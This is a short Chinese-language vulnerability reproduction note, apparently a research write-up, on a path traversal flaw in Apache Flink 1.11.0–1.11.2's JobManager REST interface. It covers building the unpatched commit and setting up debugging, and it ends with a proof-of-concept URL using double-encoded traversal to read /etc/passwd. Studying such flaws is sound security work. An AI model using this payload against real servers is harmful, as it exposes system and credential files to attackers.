Apache Flink 1.11.0-1.11.2中引入的一项更改,允许攻击者通过JobManager
进程的REST接口读取本地文件系统上的任何文件,访问仅限于JobManager进程可访问的文件。
下载源码:
git clone https://github.com/apache/flink.git
根据官方公告可以得到修复的commit
为b561010b0ee741543c3953306037f00d7a9f0801
里边还有测试用例可以去看看。
使用未打补丁的parent-commit
搭建环境。
git checkout 7fed9f0243aaf80d0060f075b95ba46b3207c8a8
编译
mvn clean package -DskipTests
一般半小时就行
编译后会出现build-target
目录,修改配置文件用于IDEA-DEBUG动态调试
flink-debug-src/build-target/conf/flink-conf.yaml
IDEA调试配置
在配置文件最后添加:
env.java.opts: -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5006
开启服务
flink-debug-src/build-target/bin/start-cluster.sh
POC
http://localhost:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd